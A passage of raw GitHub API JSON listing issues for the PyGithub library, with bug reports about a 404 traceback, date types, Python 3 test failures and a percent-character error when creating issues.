newElements\r\n\r\n/usr/local/lib/python2.7/dist-packages/github/PaginatedList.pyc in _fetchNextPage(self)\r\n 83 \r\n 84 def _fetchNextPage(self):\r\n---> 85 headers, data = self.__requester.requestAndCheck(\"GET\", self.__nextUrl, self.__nextParams, None)\r\n 86 \r\n 87 links = self.__parseLinkHeader(headers)\r\n\r\n/usr/local/lib/python2.7/dist-packages/github/Requester.pyc in requestAndCheck(self, verb, url, parameters, input)\r\n 78 output = self.__structuredFromJson(output)\r\n 79 if status >= 400:\r\n---> 80 raise GithubException.GithubException(status, output)\r\n 81 return headers, output\r\n 82 \r\n\r\nGithubException: 404 {u'message': u'Not Found'}\r\n```\r\n\r\nis this a bug or am I doing something wrong/impossible. \r\n\r\nbtw, when creating a github instance with an authorization token, this does not error out when the token is invalid, i.e. I can say `Github(\"mySillyString\")` without error message - is this by design?"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/54","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/54/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/54/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/54/events","html_url":"https://github.com/jacquev6/PyGithub/issues/54","id":5387373,"number":54,"title":"GitAuthor.date should return datetime, not string","user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Public+interface","name":"Public interface","color":"d7e102"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/7","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/7/labels","id":140183,"number":7,"title":"Version 1.3","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":4,"state":"closed","created_at":"2012-07-03T07:32:39Z","updated_at":"2012-07-13T20:01:15Z","due_on":"2012-07-16T07:00:00Z"},"comments":12,"created_at":"2012-07-02T14:38:01Z","updated_at":"2012-07-18T09:21:16Z","closed_at":"2012-07-13T19:21:04Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Hi!\n\nIt's great that all date-like objects are datetime.datetime now, makes working with it so easy. However, I think you missed GitAuthor.date, it would be great if this would also return datetimes.\n\nBackground: To get the dates of tags, I did `MyTag.commit.commit.committer.date`, and expected this to return a datetime object (like all the others do), but it returns a string."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/149","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/149/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/149/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/149/events","html_url":"https://github.com/jacquev6/PyGithub/issues/149","id":12179668,"number":149,"title":"Test failures with python3","user":{"login":"bkabrda","id":1050061,"avatar_url":"https://secure.gravatar.com/avatar/60d06f7560160f3ce7aa3877596da63f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"60d06f7560160f3ce7aa3877596da63f","url":"https://api.github.com/users/bkabrda","html_url":"https://github.com/bkabrda","followers_url":"https://api.github.com/users/bkabrda/followers","following_url":"https://api.github.com/users/bkabrda/following{/other_user}","gists_url":"https://api.github.com/users/bkabrda/gists{/gist_id}","starred_url":"https://api.github.com/users/bkabrda/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bkabrda/subscriptions","organizations_url":"https://api.github.com/users/bkabrda/orgs","repos_url":"https://api.github.com/users/bkabrda/repos","events_url":"https://api.github.com/users/bkabrda/events{/privacy}","received_events_url":"https://api.github.com/users/bkabrda/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23/labels","id":282556,"number":23,"title":"Version 1.13.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":6,"state":"closed","created_at":"2013-03-07T08:43:38Z","updated_at":"2013-03-22T17:44:33Z","due_on":null},"comments":12,"created_at":"2013-03-19T13:25:29Z","updated_at":"2013-03-22T07:04:32Z","closed_at":"2013-03-21T23:34:58Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"Hi,\r\nI'm experiencing dozens of failures with Python 3. Is this expected or is something wrong on my side? It seems that some of the failures are connected with random order of dict items in str(headers) in ReplayingConnection.request, but there are also other."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/87","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/87/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/87/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/87/events","html_url":"https://github.com/jacquev6/PyGithub/issues/87","id":6911794,"number":87,"title":"Repository.create_issue() fails on percent '%' character","user":{"login":"quixotique","id":1477470,"avatar_url":"https://secure.gravatar.com/avatar/806d200fb8f92bd618cc7063a3b62013?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"806d200fb8f92bd618cc7063a3b62013","url":"https://api.github.com/users/quixotique","html_url":"https://github.com/quixotique","followers_url":"https://api.github.com/users/quixotique/followers","following_url":"https://api.github.com/users/quixotique/following{/other_user}","gists_url":"https://api.github.com/users/quixotique/gists{/gist_id}","starred_url":"https://api.github.com/users/quixotique/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/quixotique/subscriptions","organizations_url":"https://api.github.com/users/quixotique/orgs","repos_url":"https://api.github.com/users/quixotique/repos","events_url":"https://api.github.com/users/quixotique/events{/privacy}","received_events_url":"https://api.github.com/users/quixotique/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/13","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/13/labels","id":174087,"number":13,"title":"Version 1.8.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":6,"state":"closed","created_at":"2012-09-12T19:53:14Z","updated_at":"2012-09-30T18:12:03Z","due_on":"2012-09-30T07:00:00Z"},"comments":13,"created_at":"2012-09-17T07:17:56Z","updated_at":"2012-10-05T15:10:36Z","closed_at":"2012-09-25T19:56:32Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"repository":{"id":3544490,"name":"PyGithub","full_name":"jacquev6/PyGithub","owner":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"private":false,"html_url":"https://github.com/jacquev6/PyGithub","description":"Python library implementing the full Github API v3","fork":false,"url":"https://api.github.com/repos/jacquev6/PyGithub","forks_url":"https://api.github.com/repos/jacquev6/PyGithub/forks","keys_url":"https://api.github.com/repos/jacquev6/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/PyGithub/teams","hooks_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/PyGithub/events","assignees_url":"https://api.github.com/repos/jacquev6/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/PyGithub/tags","blobs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/PyGithub/languages","stargazers_url":"https://api.github.com/repos/jacquev6/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/PyGithub/subscription","commits_url":"https://api.github.com/repos/jacquev6/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/jacquev6/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/PyGithub/merges","archive_url":"https://api.github.com/repos/jacquev6/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/PyGithub/downloads","issues_url":"https://api.github.com/repos/jacquev6/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/labels{/name}","created_at":"2012-02-25T12:53:47Z","updated_at":"2013-05-13T21:44:12Z","pushed_at":"2013-04-25T18:26:07Z","git_url":"git://github.com/jacquev6/PyGithub.git","ssh_url":"git@github.com:jacquev6/PyGithub.git","clone_url":"https://github.com/jacquev6/PyGithub.git","svn_url":"https://github.com/jacquev6/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":516,"watchers_count":203,"language":"Python","has_issues":true,"has_downloads":true,"has_wiki":true,"forks_count":55,"mirror_url":null,"open_issues_count":12,"forks":55,"open_issues":12,"watchers":203,"master_branch":"master","default_branch":"master"},"body":"If the **title** or **body** parameter of `Repository.create_issue()` contains a percent character `%` then it provokes a 500 error from `api.github.com`.\n\nCuriously, if the percent character is followed by two hex digits, eg `%2F` then the request succeeds. In this case, the `%2F` is not url-decoded: it remains as `%2F` in the body text of the issue, not as a slash `/`.\n\nThis looks like it could be GitHub's issue: eg, their API is enforcing urlencoded input but is not actually decoding it.\n\nWhatever the case, it is impossible to create an issue using PyGithub that contains text like “works 25% of the time”."},{"url":"https://api.github.com/repos/jacquev6/PyGithub/issues/143","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/143/labels{/name}","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/143/comments","events_url":"https://api.github.com/repos/jacquev6/PyGithub/issues/143/events","html_url":"https://github.com/jacquev6/PyGithub/issues/143","id":11731917,"number":143,"title":"Version 1.12.2 does not work with Python 3(.3) because of 2to3 issues","user":{"login":"ptwobrussell","id":98668,"avatar_url":"https://secure.gravatar.com/avatar/322a50ffdb98591460f05015770b7adb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"322a50ffdb98591460f05015770b7adb","url":"https://api.github.com/users/ptwobrussell","html_url":"https://github.com/ptwobrussell","followers_url":"https://api.github.com/users/ptwobrussell/followers","following_url":"https://api.github.com/users/ptwobrussell/following{/other_user}","gists_url":"https://api.github.com/users/ptwobrussell/gists{/gist_id}","starred_url":"https://api.github.com/users/ptwobrussell/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ptwobrussell/subscriptions","organizations_url":"https://api.github.com/users/ptwobrussell/orgs","repos_url":"https://api.github.com/users/ptwobrussell/repos","events_url":"https://api.github.com/users/ptwobrussell/events{/privacy}","received_events_url":"https://api.github.com/users/ptwobrussell/received_events","type":"User"},"labels":[{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Bug","name":"Bug","color":"e10c02"},{"url":"https://api.github.com/repos/jacquev6/PyGithub/labels/Requested+by+user","name":"Requested by user","color":"e10c02"}],"state":"closed","assignee":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"milestone":{"url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23","labels_url":"https://api.github.com/repos/jacquev6/PyGithub/milestones/23/labels","id":282556,"number":23,"title":"Version 1.13.0","description":"","creator":{"login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User"},"open_issues":0,"closed_issues":6,"state":"closed","created_at":"2013-03-07T08:43:38Z","updated_at":"2013-03-22T17:44:33Z","due_on":null},"comments":13,"created_at":"2013-03-06T20:48:02Z",